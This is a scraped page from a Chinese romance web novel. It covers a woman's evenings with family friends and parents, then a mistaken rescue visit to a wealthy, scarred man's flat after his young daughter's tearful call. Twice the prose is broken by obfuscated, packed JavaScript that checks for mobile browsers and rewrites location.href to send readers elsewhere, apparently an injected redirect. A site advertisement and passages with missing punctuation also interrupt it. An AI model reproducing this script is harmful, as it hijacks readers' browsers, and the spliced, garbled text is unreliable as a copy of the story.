但因桐树巷地处主城区,交通便利出行方便,房租也非常便宜,它几乎成为那个年代来滨港务工人员的租房首选。 很巧。 蒋兰和程国礼刚来滨港时也在桐树巷租房住,跟顾静媛陈家槐是门对门的邻居。都是同龄人,兴趣爱好差不太多,几个小年轻很快便打成一片成了朋友。 他们的友情便一直延续至今。 顾静媛和陈家槐都是看着程菲长大的,两个单身好友人到中年,既没成家也没儿女,就一直都把程菲当自己的亲孩子对待。 程菲和顾姨槐叔都熟得很,在两人面前和在自己爸妈面前没区别,十分随意。她很早就知道槐叔年轻时喜欢过她妈,但槐叔跟她爹打过架这事,她还真是头回听说。 陈家槐听顾静媛提这茬,有点不好意思,眉心瞬间拧成一个“川”,不爽道:“陈芝麻烂谷子的事,都多少年了,你跟小丫头提这做什么。” 顾静媛满脸看好戏的表情,傲气地冷哼一声,“怎么,怕被菲菲知道当年你打输了,嫌自己丢人?” “什么?”程菲更惊了,下巴都快掉到地上,“槐叔 ,你居然还输给我爸了?你看起来比我爸会打架得多呀。 槐叔更不爽了,斜眼看程菲,“还不是怪你爸使诈。 程菲:“此话怎讲? 槐叔却不愿意再多说,摆摆手:“回家问你爸去。说到这里,他又吃了一口面条,反应过来什么般再度皱眉,抬起脑袋眯着眼睛瞧程菲,“不对呀小朋友。我们不是在说你谈恋爱搞地下恋的事吗,你在这儿东拉西扯转移什么话题? 程菲无语,正色:“我再说一遍,我没有谈恋爱。 顾姨翘着二郎腿坐她对面,闻声挑挑眉毛,“那你倒是说说那个帅哥怎么回事,和你什么关系? 程菲:“就只是搭顺风车的关系。 话音落地,顾静媛和陈家槐互相对视一眼,看表情都颇有几分惊讶。 顾静媛用眼神说:小丫头说只是搭个顺风车? 陈家槐冷着脸,用眼神回答:不像。 顾静媛又用眼神说:我看也不像。 顾静媛垂眸琢磨起来,将“顺风车这个关键信息慎重解读一番后,再次得出了一个结论。 顾静媛看回程菲,微颔首,表情语气十分淡漠而笃定:“我知道了。你是想拐弯抹角地告诉我们,那个帅哥的职业是个网约车司机。 程菲:“…… 程菲缓缓打出一个问号:? 边儿上的陈家槐听完顾静媛的解读,一思索,也像是顿悟,若有所思地补充道,“因为你男朋友是个网约车司机,你爸妈又对你找对象的要求比较高,你觉得他们暂时不会认可你们这段感情,所以你暂时选择了秘而不宣,瞒而不报,搞起了地下恋。 程菲:“………… 程菲白净的脸蛋上流露出了一丝由衷的敬佩:槐叔和顾姨真是被埋没的人才——就她叔和她姨这想象力,去写网文高低也是个小粉红级别的写手,月入过万不是梦。 有句话说得好,人们只会相信他们愿意相信的。 现在槐叔和顾姨都已经先入为主认定她瞒着蒋兰女士在搞地下恋,不管她再解释什么,他们都只会觉得她在欲盖弥彰…… 程菲深深地无奈了,最后只能又往嘴里塞了一大口面条,无力道:“虽然我说什么你们都不会信,但是我和他真没关系 。” “还嘴硬。”顾姨低嗤。 程菲想哭:“我嘴硬什么了?” 顾姨瞧着程菲,投来王者般明察秋毫洞穿一切的目光,语气凉凉的:“要真没关系,怎么会一提起人家,你这脸蛋就红得像猴子屁股?” “……” 程菲闻言微僵,条件反射般抬手摸了摸自己的脸蛋,果然滚烫一片,温度高得几乎能煎鸡蛋。她窘迫而又心慌,当即赶紧掩饰什么般埋下头,挑了一筷子面条吃,含混不清地说:“那是因为……因为我今天衣服穿多了,热得很。” 陈家槐和顾静媛听完她的话,都觉得挺好笑,心照不宣,看破也懒得说破。 陈家槐低头吃面,不再说话。 顾静媛则给自己又点燃一根烟,眼中带着丝打趣儿的笑意,慢悠悠道:“那边有风扇,要不我拿过来给你吹吹凉?” 程菲被嘴里的面汤呛了下,干笑着摇头:“倒也不必。” 吃完面条,程菲又陪两位长辈拉起家常说了好一会儿话,快十点时才背着包站起身,跟陈家槐和顾静媛道别,独自回家。 临走前,程菲扫描了小餐车上的收款二维码,将自己和槐叔的那份面条一起结账。 听见收款到账提示音,还在喝汤的陈家槐不禁皱起眉毛,冲那道纤细的背影喊了声:“谁要你请客!” 小姑娘头也不回,背对着他们随意一摆手,走得潇洒又豪迈。 “瞧瞧。一转眼,这小不点儿都已经到了成家立业的年纪。”陈家槐也点了根烟,吐出口烟雾,半带感叹,“咱们怎么能不老啊。” 顾静媛顿了下,扭头看陈家槐,“喂。” “嗯?” “你这次回来还走吗?” “云城那边还有点活没收尾。”陈家槐咬着烟整理衣服,眼也不抬地淡声说,“钱难挣,总不能自己把饭碗砸了。” 顾静媛没和陈家槐聊云城那边的事,只是问:“什么时候走?” 陈家槐说:“这次回来估计能待半个月。” 顾静媛闻言,眸光微微一动,“你是专程回来看阿城的吧。” “……” 那个名字已尘封太久,再次听见,陈家槐竟有刹那失神。他垂眸不语,似乎陷入某段久远的回忆,直 到忽然感觉到指尖处袭来的灼痛,才蓦地回魂儿。 原来是烟烧到了手指。 良久的安静后,陈家槐终于苦涩地笑了下,掸掸烟灰,道:“兄弟一场。总不能因为他犯过一些错,就连我也不认他。” * 回到家,程菲在玄关处换好拖鞋,随手把买回来的水果放到餐桌上,探首往卧室方向瞧,唤道:“爸妈,我给你们买了草莓!” 话音落地,不多时,蒋兰便趿拉着拖鞋从主卧出来了。 她长发湿润,整颗脑袋长头发的部位都裹了一层保鲜膜,造型看上去颇有几分滑稽。程菲一眼看见自家母上这模样,禁不住噗嗤一声,边把草莓倒进水果清洗篮,边问:“妈,准备赶时髦染个浅茶棕啊?” “一边儿去。”蒋兰啐她一声,“你妈我今年都是四十好几了,还赶什么时髦。头顶随便扒拉一下就全是白头发,你爸给我染发根呢。” 程菲走进厨房,拧开水龙头冲洗草莓,听完蒋兰女士的话,心里忽然就有点发酸。但她脸上还是没心没肺地笑着,说:“银发多酷,现在好多年轻人还专门把头发染成银白色。我家蒋女士这么美,要是整个白发魔女造型,还不把我爸迷得跟傻子似的。” “有你这么说自己爹的吗。” 程国礼踏着步子从卧室里出来,把染发用的一次性手套摘下来丢进垃圾桶,好气又好笑:“亏你这丫头还是个名牌大学的高材生,我看呐,你书都读到狗肚子里去了。” 程菲被父亲大人一数落,尬笑两声,乖乖把洗好的草莓端到客厅,满脸的恭敬加讨好:“开个玩笑而已。来爸,吃草莓。” 程国礼瞧着她:“又刚下班?” “今天比昨天早一些。”程菲回答,说话的同时往嘴里扔了颗草莓,“走到小区门口肚子饿,去顾姨那儿吃了碗面。” 听见这话,蒋兰立刻道:“你顾姨是不是又没收你钱?” “顾姨不肯要,我当然必须给呀。”程菲嚼着嘴里的草莓,说着想起什么,顿了下,又道,“对了,我还遇到了槐叔。” 蒋兰和程国礼听后都是一愣。 诧异之后,蒋兰脸上露出几分惊喜,弯着唇道:“你槐叔回来了?什么时候回的?” “估计就这两天吧,我忘记问 了。”程菲说。 边儿上程国礼打量着妻子的神色忍不住酸溜溜地说道:“回来就回来呗难不成还要我们给他摆几桌接风宴你问这么详细干什么。” 蒋兰无语忍住对程国礼翻白眼的冲动微笑:“人家这几年都在云城难得回来一次我问几句怎么了。” 程菲眼珠子左右飞一会儿瞅瞅程国礼同志一会儿瞅瞅蒋兰同志知道她老爸这是又吃起了槐叔的飞醋心头好笑得不行插话缓和:“这草莓超级甜跟裹了蜂蜜一样爸妈你们确定不尝尝?” 蒋兰和程国礼于是都拿起一颗草莓齐齐放进嘴里。 入口的瞬间蒋兰就被酸得打了个冷战程国礼更是直接把刚吃进去的草莓给一口吐了出来。 程菲恶作剧得逞趴在餐桌椅上笑得前仰后合眼泪珠子都从眼角沁出来。 蒋兰气结抄起鸡毛掸子就要施行家法程菲眼见情况不对赶紧脚底抹油开溜“嗖”一下窜进自己屋反锁房门咔哒! “这小丫头片子欠收拾。”程国礼笑骂了句 一旁蒋兰却捏着鸡毛掸子站在原地眉心微蹙若有所思的模样。 程国礼走过去拿胳膊肘碰了下妻子的肩“想什么呢?” 蒋兰静了静抬眸看向丈夫不咸不淡道:“阿鬼这次回来选的日子还挺特别。” 程国礼听出蒋兰意有所指干咳一声清了清嗓子打起马虎眼“有什么特别的我怎么没发现。” “你少在这儿装傻。”蒋兰眉眼间隐现不悦“我先跟你说清楚阿鬼只是我的朋友他跟余明城怎么样我懒得管也管不了。但是程国礼你是我丈夫、是我女儿的亲爹我们全家上下绝对不能和余家扯上一点关系。” 程国礼眼中闪过一丝晦暗但也仅仅只是刹那下一秒他脸上便再次绽开笑容伸手环过妻子的肩宽慰她:“我知道我心里有数。” “有数就好。”蒋兰点头。 “不过逝者为大。”程国礼柔声试探“人都去世这么多年了毕竟是老邻居老朋友去上柱香什么的也不算扯关系吧?” 蒋兰懊恼一把推开程国礼刚想说什么余光扫过闺女的 卧室方向,又硬生生憋回去,压低嗓音:“余明城是怎么死的,还需要我再帮你回忆一遍?” “兰兰……” “别说了。”蒋兰沉声,“你要是去给余明城上香祭奠,我立马带着菲菲跟你离婚。” 程国礼被哽住,蹙眉道:“你这反应是不是太大了点,至于么。” “当然至于。”蒋兰的态度异常坚决,“菲菲那么优秀一个孩子,大好的前途大好的人生,绝对不能有哪怕一丁点的污点。” 程国礼彻底没辙了,只能举起双手作投降状,妥协道:“好好好。你说得对,都听你的。” *
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415787|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一夜,洗完澡的程菲躺回床上,心血来潮,拆下手机壳翻出藏在里面的发财符,在灯下摩挲端详。 台灯的光是暖调橘色,稀薄如晚霞,使得整个符身都洋溢出暖意。 几分钟后,她重新将发财符收好,关了灯,盖上被子。 遗失的发财符重新回到了她手上,她也成功送出了用于答谢的礼品,从今以后,自己和周清南大约是真的再也不会有交集。 这么一回忆,之前种种,还真是像一场离奇又荒诞的梦。 黑暗中,程菲忽然嘴角微勾,漾开一抹有点怅然又有点感慨的笑,闭眼入睡。 本来想发消息问问那个男人,车厘子甜不甜的。 想想还是算了。 没必要。 本来嘛,生活在两个世界的陌生人,总归要回到平行的轨道中去。 * 头天夜里破天荒没做梦,加上第二天是周末,不用早起上班,程菲这一觉睡得非常香,直到中午十一点多才醒。 顶着乱蓬蓬的鸡窝头走出房门,左右环顾一番,程国礼同志和蒋兰女士都不见人影。 家里只有程菲一个人。 她打了个哈欠茫然挠挠头,回卧室找到手机,点亮屏幕,这才看见早上九点过八分时,她亲爱的母上大人给她发的微信消息。 【今天你爸的老领导过大寿,我和你爸吃席去了,晚上回。】 程菲:? 程菲脑门上升起一个硕大的问号,正准备打字过去,问问她妈为什么吃席不带她,又看见对话框里“嗖”的声弹出来一张图,是她妈拍的宴席现场菜品图。 又是大龙虾又是帝王蟹,甲鱼肥得比她家脸盆还大。 程菲抽了抽嘴角,打字过去:妈,我中午吃什么? 蒋兰女士秒回:锅里给你留了两个土豆饼。 程菲:…… 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 程菲:你和爸去吃海鲜盛宴,留我一个人在家啃饼子?也太残忍了吧我亲爱的妈妈! 蒋兰女士:你骗我和你爸吃酸草莓不是更残忍?我亲爱的女儿? 程菲:“……” 程菲心服口服,默默熄灭手机屏。 午饭随便吃了个土豆饼对付,到了下午,程菲本来想约温舒唯逛街,可一看窗外艳阳当空,又犯起困,索性窗帘一拉,再度倒头睡去。 再次将程菲唤醒的,是一阵手机铃声。 叮铃铃,叮铃铃。 “……”睡梦中的程菲蹙眉,眼睛都睁不开,伸手迷迷糊糊在枕头下面摸索一阵,抓住手机,闭着眼划开接听键,声音哑哑的:“喂你好?” 相当超出程菲的预料。 听筒里传出来的,是一个软糯稚嫩的女孩儿嗓音,听上去惊慌失措,像是遭遇了什么非常状况,无助极了—— “喂,姐姐,是我,我是周小蝶。”小女孩大约是已经哭了很久,声音一抽一抽的。 闻声刹那,程菲的所有瞌睡虫便瞬间跑了个一二干净。 她彻底清醒过来,一下从床上鲤鱼打挺似的弹坐而起,抓紧电话眉头紧皱,说:“小蝶?怎么了?发生什么事了?” 电话里的周小蝶仍是一个劲地哭,呜呜道:“我刚才听见爸爸打电话,好像是在联络福利院什么的……他好像要把我送走。呜呜呜怎么办啊姐姐,我有爸爸,我不是孤儿,我不想去福利院呜呜呜……” “小蝶乖,你先别哭,别着急,让我想想办法。”程菲轻声哄慰着。 但隔着一条电话线,一切语言都显得格外苍白。 程菲蹙眉思索两秒,然后下定决心般抿了抿唇,问:“你现在在你爸爸家里吗?” “嗯。” “你爸爸在家里吗?” “爸爸打完电话就出去了……我不知道他去了哪里,也不知道他什么时候回来。”周小蝶越哭越伤心,“姐姐,我好害怕。” 程菲忍不住在心里骂了周清南两 句,又问:“你们家的地址是尹华道468号,21层,对吧?” “嗯……” “你稍微等一下。”程菲说,“我马上到。” * 挂断电话,程菲飞快起床换了身衣物,简单收拾一番,拎着包狂奔出门。 半个小时后,夜色已悄然垂落。 出租车绝尘而去,程菲只身一人出现在车水马龙的CBD市中心,眼前一座摩天高楼直冲云霄。 程菲做了个深呼吸。 刚才在电话里,小蝶说周清南现在不在家,她准备先上楼安抚住小朋友的情绪,再陪小朋友一起等周清南回来。 然后,就跟他好好谈谈。 “我知道你也是个新手爸爸,单亲家庭养一个小孩子确实不容易,但你也不能动起那种歪脑筋,把孩子往福利院送。这是弃养,犯法的懂吗亲。” “看你也挺有钱的,实在工作忙照顾不了小孩,可以请个全职育儿师,再不行,等到了上小学的年纪送去住宿学校也可以。” “我今天来就是要跟你说清楚,如果你执意要把小朋友送去福利院,我只有拿起法律的武器维护正义了。” …… 程菲在心里又默背了一遍提前打好的腹稿,拳一握牙一咬,走进了大厦大门。 尹华道468号是孤狼式豪宅,超高层建筑,每层都是一梯一户独立大平层。 程菲乘电梯上到21层后,穿过偌大的入户光厅大花园,径直来到紧闭的门前,摁响了面前的可视门铃。 叮咚—— 空旷的铃声在光厅内响起,格外清晰而空灵。 摁完,等待了一两分钟,不闻回应。 程菲蹙眉,以为周小蝶一个人在家出了什么事,赶紧更用力地摁门铃。 叮咚叮咚叮咚叮咚—— 就在程菲疯狂摁门铃的时候,忽闻咔哒一声,门锁轻响,面前大门打开了。 “吓死我了小蝶,我还以为……”程菲松了口气,正说着,一抬眼,后面的所有话语戛然而止,被全数吞进肚子里。 室内空间昏暗一片。 一道修长身影出现在暮色笼罩的玄关处,刚被吵醒似的,黑色短发稍显凌乱,冷淡眉眼间添了一丝慵懒的倦,微眯眼,直勾勾地盯着她,眼神里带点儿不爽,带点儿惊讶,又带点儿疑惑。 程菲:“……” 程菲惊讶地瞪大眼,视线不由自主往下移,看向了男人棱角分明的下颔,以及脖颈以下。 本以为不在家的男主提前回家了?OK,没问题。 问题在于—— 他在家就在家吧,为什么不、穿、衣、服、啊!!! 作者有话要说 大佬:?老婆自己送上门儿,还有这种好事? —— 下章叒是全篇对手戏啦,各位大帅们别忘了动动小手指给南南和菲菲撒点花喔,那样作者码字的时候真的会更有动力【握拳】 随机100红包包~ 第 21 章 你对我有意思。 日暮西山,夕阳已经从城市最西边落下,整个世界昏晓交接。 尹华道468号21层的玄关户外,程菲睁大了眼睛看着眼前一幕,一时间甚至连自己是来干什么的都忘了。 只见男人眉眼懒倦,脚下踩了双深蓝色的家居拖鞋,除此之外,全身上下便仅有一条纯黑色的拳击短裤。上身部分,寸缕不着。 高大修长的身躯,肩宽腰窄,腰身劲瘦,胸肌部分起伏紧硕,往下敛出八块巧克力形状的腹肌,块块肌理,轮廓分明,充满了利落而刚硬的线条感。 肤色并非常见的蜜色或小麦色,而是偏向冷调的中性白,每块肌肉都一点不突兀,像有自主意识般紧紧咬在骨骼上,随他每次呼吸而紧实起伏,充满了蓬勃生命力。 平心而论,这身材没谁了,好到无可挑剔。 但,真正让程菲震惊的却并不是这位大佬荷尔蒙爆棚的胸肌腹肌人鱼线。 而是他整个上半身竟然有好几处伤痕。都是些陈年旧伤,或大或小。大的呈蜈蚣状,狰狞蜿蜒,很明显的刀疤,小的则都是圆孔型,伤处周围的皮肉微皱,有极轻微的增生痕迹…… 这种伤痕程菲在很多枪战警匪片里见过,是标准的子弹枪伤。 只是,影视作品里的枪伤都出自于特效化妆师的一双巧手,而这个男人身上的两枚,却是实打实的九死一生,骨肉烙印…… 胸腔里的心脏猛地突突几下。 程菲心口发紧,明明忌惮又害怕,眼风却不由自主地打望着那些大小旧伤,只觉触目惊心。 空气似乎都有瞬间死静。 再瞧瞧玄关里头。 周清南还是那副事事不走心的散漫样。耷拉着眼皮站门口,神色懒倦,没什么表情地瞧着突然造访的小姑娘。 昨晚把程菲送到家后,他先是把后备箱里的大箱小箱搬回了尹华道,之后便接到了梅老的电话,让他去城南那边陪着谈一笔生意。 忙完回来已经是凌晨四点多。 头天晚上喝了不少酒,加上头疼的老毛病发作,周清南今天一整天都浑身不得劲儿,左边脑仁被人拿着电钻在往里打孔似的,疼痛欲裂。 他今天没什么事情,本打算一觉直接睡到第二天早上,谁知睡着睡着,就听见了这姑娘的夺命 门铃声。 叮咚叮咚叮咚叮咚—— 摁铃力道之大、摁铃次数之频繁周清南开始还以为是大楼里的哪户发生了火灾。 周清南漠然瞧着眼前这张小脸下一秒视线不动声色往下一掠落在她那两条胳膊上。 换衣服了不是昨天穿的那件薄针织。 牛仔背带裙内搭纯色宽松白T简单整洁天然去雕饰。虽然她人长得漂亮穿什么都好看但本来就是个纤弱小骨架袖口部分一空就显得那截手臂更细了。 莲藕段子似的两截纤细雪白又带着几分健康粉润的光泽感像质地上好的羊脂玉。 周清南挑了下眉。 莫名生出了那么丁点好奇心——这么细的两条小胳膊一分钟前是怎么使出那么大劲折腾他门铃的。 挺迷。 两人就这样在玄关处无声对望沉默地打量着对方谁都没有说一个字也没有任何动作。 又过了大概两秒钟。 周清南撩了撩眼皮终于好整以暇地调整了一下站姿微侧身懒洋洋往门框上一靠浑身上下都透着一股散漫又桀骜的邪痞劲儿。 他盯着程菲在她第四次暗搓搓偷瞄他左侧腹肌的刀疤时冷不防出声:“看够没有。” “……”闻听此言程菲微微一僵飞到十万八千里外的三魂七魄终于“嗖”地下归位。 当即飞快将眼神移开低下头。 她想起自己来这里的正事赶紧抬手掩饰尴尬般捋了下头发接着便清清嗓子说:“周先生你好不好意思突然跑到你家。那个……” 她说着稍稍一顿抬起眼帘悄悄往他身后张望。 只见玄关内部的客厅区域应该是拉了挡光帘所有光源被遮挡的一干二净黑乎乎什么都看不清 “小蝶呢?”程菲左顾右盼有点紧张地问。 该不会是她来晚一步小朋友已经被这狗爹送到福利院去了吧? 周清南脸色淡漠回她:“不知道。” 程菲:“……” 程菲差点被自己的口水给呛到满脸无语地转眸望周清南不可思议至极:“你闺女和你住在同一个屋檐下你连她在哪里都不知道? ” 这人也太没有责任心了哪有这样当人爸爸的! 周清南直直瞧着她问:“你来这儿是为了找周小蝶?” “对呀。”程菲朝他点头。 她心里担心小朋友的安危见周清南人高马大那么大一只杵门口几乎把路挡完情急之下也顾不上太多索性上前几步直接就把他往旁边拨了把侧身挤进大门。 空气里蔓延着一股很清冽的冷调香薰味说不出具体是什么花什么木四处黑乎乎一片。 “小蝶?小蝶?”程菲往屋子里喊了两声不闻回音。 她眉心的结顿时拧得更紧。 “你找周小蝶有什么事。”周清南在程菲身后问道语气淡淡的。 程菲听见这个问句简直想对他翻个硕大的白眼但还是努力忍住了。回过头尽量情绪稳定地说:“我到这里来是因为之前接到小蝶打给我的电话说你在联系福利院想把她送过去她很害怕一直哭个不停。” 闻言周清南细微眯了眯眼睛脸色瞬间变得阴晴莫测:“然后呢。” “然后我就赶过来了呀!” 程菲正色无比严肃“周先生你不觉得自己的这个做法太离谱了吗?世界上哪有做父亲的会把自己女儿送到福利院去?” 周清南没有立刻回程菲话。 他眼皮子垂下去面无表情地思索几秒已经明白是怎么回事。 “我没联络过福利院。”周清南斜倚着门框抬眸重新看向她姿态懒漫语气却很平静“也并不打算弃养周小蝶。” 话音落地程菲一下就混乱了。 她错愕:“……你没联络过福利院?那小蝶为什么说听见你和福利院的人打电话?” 周清南嘴角勾起个耐人寻味的弧 “难道是小蝶听错了……”程菲自言自语地嘀咕着。心想如果事实真像这位大佬说的那样那今天她搞这一出不是又闹了场大乌龙? 但如果是这个男人在说谎骗她呢? 程菲还是有点怀疑转动脑袋继续在屋子里搜寻周小蝶的身影想当面问问清楚。 片刻程菲看向周清南目光里仍带有几分戒备和不信任沉吟道:“现在只有先找到小蝶 才知道到底是怎么回事。 说完这句话,程菲也不等周清南回应,径自挪动几步,探头往这个大平层的卧室的方向看去…… 就在这时,听见背后传来男人清冷的嗓音,轻描淡写地说:“不用找了,周小蝶不在。 程菲狐疑地回过头去,质疑:“你刚才还说你不知道小蝶在哪儿,现在就这么肯定她不在家? 周清南直勾勾盯着这姑娘清澈灵动的眸,一息光景,竟嗤的低笑出声:“这位小姐,请问你在怀疑什么。 程菲轻轻咬了下唇瓣,没出声。 周清南挑眉:“怀疑我把周小蝶藏了起来,准备等你走以后,再神不知鬼不觉,把她送到福利院去? 程菲:“…… 程菲被一语猜中心事,当即微窘,但转念又坦然了,觉得自己没什么好尴尬的。 心里默默地回怼:我的怀疑本来就非常合理——毕竟你可是无恶不作的黑老大,加上对自己女儿的态度又这么冷漠,谁知道你会不会干出什么丧心病狂没人性的事? 周清南眼神玩味,瞬间看穿这小姑娘的疑虑,心下好笑的同时,高大的身躯微微一动,站直了身体。 随后踏着步子,不紧不慢地便朝她走了过去。 这会儿天色已暗,加上整个屋子里黑灯瞎火乌漆墨黑,男人逆光而来,五官神色均是模糊的,身影轮廓被背后的暮色裹得格外暗沉,莫名便显得侵略性十足,危险异常。 程菲见周清南走近,被这位大佬周身的凌厉又邪性的气场给震住了,心头一慌,脑子里条件反射般浮现出一个念头:糟糕! 难道她识破了他准备弃养亲生女儿的诡计,他恼羞成怒,准备杀她灭口? “你要干什么?程菲惊惶,下意识往后退了两步,惊慌之下急中生智,鬼扯道,“我先跟你说,我来这里之前跟我朋友说过的,一个小时之后如果没看到我出去,她立马就会报警,你千万不要…… 后面的话还没来及说出口,男人却已迈着长腿凉凉绕过她,穿过偌大的下沉式客厅,径直往前面的走廊而去。 程菲一下呆住,表情逐渐变得迷茫。 “过来。他头也不回地扔过来两个字,散漫而随意。 “……? 程菲 不解,望着那道高大背影回了句:“干什么呀? 话音落地的同时,周清南已随手触亮智能开关,霎时间,光线倾洒而下,整座豪宅灯火通明。 眼睛习惯了黑暗,骤然接触到明亮灯光,程菲还有点不适应,下意识抬手挡了挡。 待垂下手臂定睛细看,只见这间屋子整体是意式极简风格的装修,黑白灰基调,冷硬而简约,空间的延展性极强,大到柔转木墙,小到家具摆件,各处细节,无一不彰显出屋主脱俗的艺术审美。 程菲眼中流露出一丝惊艳的光,禁不住转动脑袋打量四周。 “不是怀疑我。 周清南斜倚走廊深灰色的木纹墙,手上不知何时已经多出件白T。继而随手把T恤往身上一套,下巴微抬,很松散地道,“过来,带你每个屋检查一遍。 程菲:“…… 每个屋检查一遍,那不相当于搜家? 程菲是真没想到这位大佬会坦率耿直到这份儿上,一时间竟然有些惭愧,心想:他既然都敢大大方方让她每个房间检查了,大概率就说明,他确实身正不怕影子斜,心里没鬼。 现在倒是程菲不好意思起来,默了默,摆摆手,干笑着婉拒:“检查就不用了吧。 “我说的话你反正也不信,眼见为实。周清南转身继续往卧室方向走,语气自若,“不然你怎么知道我不是诈你。 大佬放了话,再配合他当下的行为与态度,很显然,今天周清南是铁了心要让她搜家以证清白。 程菲无力扶额,站在原地纠结过来纠结过去,迟疑好几秒才终于定下心神,硬着头皮跟上去。 这间住所,程菲目测不出具体面积,直观感受就是一个字:大。 户型采用动静分区设计,下沉式超大横厅与卧室区域之间还隔了一条较为宽敞的走廊通道,两侧木纹墙上挂着一些现代画做装饰,多以抽象风格的线条为主,没有过多色彩。 简洁,硬朗,舒展,冰冷。 穿过走廊,随之映入眼帘的是一个室内健身房,隔断空间的不是墙体,而是一扇落地的超大玻璃,整体观感很是开阔。 透过透明玻璃,能看见健身房里摆着许多专业健身器材,一个纯黑色的立式拳击沙包,还有一个小型的室内恒温 游泳池。 主打一个壕无人性。 程菲从小生活在平谷区怪她没见识她确实没见过这么高端的全智能科技豪宅跟在周清南往卧室区域走的过程里顺便就把他家给暗搓搓地参观了一遍。 不多时程菲看见周清南在一间卧室门口停下来抬手拧开门把手人站门口一侧身让出条通道回眸平淡无澜地看向她。 程菲早已经尬得不行了站在原地硬是没有动。 周清南便出声懒懒地说:“检查啊。” 程菲:“……” “请。”他玩味地补了一个字。 大佬的倒装句不仅极具特色而且杀伤力强大。程菲身子一僵没辙只能默默走过去象征性地往房间里看了眼。 除了家具陈设以外一个鬼影子都没有。 接着又是第二间卧室第三间卧室书房…… 就这样周清南领着程菲依次把这间屋子里的所有卧室都“搜”了个遍始终不见周小蝶小朋友的身影。 “要不要再带你去看一下冰箱。”周清南忽然又道。 程菲困惑掀高眼帘迷茫地望他:“看冰箱干什么?” 周清南浅色的瞳充满兴味地瞧着她眉峰微挑语气里缱出几分懒淡的揶揄:“不怀疑我杀人藏尸?” “……”程菲被噎住额头滑下一滴豆大的冷汗只能还以僵笑道“周先生真是幽默。小蝶是您的亲骨肉虎毒还不食子呢。” 周清南:“还想看哪儿?” “没有想看的了没有。”程菲冲他摇头摆手脑袋晃得跟拨浪鼓似的一本正经。 虽然现在已经基本排除周清南弃养女儿的嫌疑但周小蝶毕竟只是一个几岁大的小孩子先是哭着打了一通电话求助之后又突然人间蒸发未免太过蹊跷。 程菲心里还是很担心顿了下又忍不住问周清南说:“你今天一直没有见过小蝶吗?” “没。”周清南随手从吧台上拿起一盒烟敲出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415788|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根丢进嘴里再拿打火机点燃淡白色的烟雾从他薄润的双唇之间逸出瞧着慵懒又桀骜 程菲诧异:“刚起床?” 周清南“嗯”了声懒散地往吧台旁的高脚椅上一坐 一只大长腿毫不费力地撑在地砖上,眼神透过烟雾定定地看着她,轻声补充:“准确地说,我是被程小姐吵醒的。 “……好吧,不好意思打扰你休息了。程菲回了句,又焦灼道,“可是小蝶不在家,她一个那么小的小孩子,能去哪里呢?会不会出什么事?总不可能被人绑架了吧。 周清南抽着烟,眉眼神色看上去很淡漠,一点不担心,甚至是毫不在意。 程菲轻皱眉心,想了想,又猜测道:“难道是小蝶听错了你打电话的内容,以为你要弃养她,又害怕又伤心,离家出走了? 周清南:“猜来猜去有什么意义。 程菲愣住。 “周小蝶有手机。周清南语气凉淡,“你把电话拨回去问问不就知道了。 “……对哦,今天周小蝶还给她打过电话。 经这位大佬一提醒,程菲幡然醒悟,忙忙掏出手机查找下午那通来电记录,找到之后,敲下回拨建。 嘟嘟嘟,嘟嘟嘟—— 没一会儿,电话接通,听筒里传出小女孩儿奶声奶气的悦耳嗓音,打头第一句就甜甜地唤了程菲一声:“姐姐! “小蝶!听见周小蝶的声音,程菲悬在嗓子眼儿的心脏终于往肚子里回落几分,担忧不已,“我刚到你爸爸家,找了半天没见到你人,你在哪儿? 周小蝶嘻嘻笑,回她:“我在儿童乐园玩呀。 程菲:“……儿童乐园? “对呀。听筒那边的背景音十分嘈杂,充斥着各种小朋友的尖叫和欢笑声,周小蝶兴冲冲地道,“这儿的滑滑梯比我老家的大好多,还会发光耶!可好玩了!姐姐你要不要一起来玩? “你一个人吗?程菲还是有点紧张,“你一个小朋友,独自出门很危险的,遇到坏人怎么办? “陆岩叔叔跟我一起的。 “陆岩? “嗯。周小蝶说话的声音甜糯,语气也充满童真,可爱得让人心尖发软,“陆岩叔叔来找爸爸,但是爸爸还在睡觉,我就让他带我来儿童乐园玩啦! 程菲越听越疑惑,脑子里跟搅了一团乱麻似的,“可是,你不是打电话跟我说,你听见你爸爸在联络福利院吗? 听筒那头的小姑娘迟迟地 呀了一声,囧囧地说:“我做噩梦被吓哭了,醒来之后迷迷糊糊就给你打了个电话,对不起呀姐姐。” ……好……的……吧。 真相水落石出,程菲听后,闭眼默默扶额,最后只能有气无力地挤出个笑,回小蝶:“那你慢慢玩吧,玩开心,注意安全早点回家哈。” “好哦!”周小蝶像是忽然又想起什么,问,“姐姐你现在在我家里吗?” “嗯。” “那麻烦你跟我爸爸说一声,我晚上不回来吃饭了,陆岩叔叔说要带我去吃炸鸡和汉堡包!” “……哦。” 说完程菲便挂断了电话。 一室寂静,只余一阵秋风扫落叶的声音。 程菲捏着手机呆立原地,僵硬了起码十秒钟,才鼓起勇气,机器人似的一卡一卡转动脖子,望向了半倚半坐在高脚椅上抽烟的男人。 周清南指尖夹烟,一双漂亮的浅色桃花眼直勾勾地盯着她看,左侧眉峰玩味地轻佻,那表情散漫流气吊儿郎当,就像在说“来,开始你的表演。老子倒要看看你这张嘴皮又能翻出个什么花儿来”。 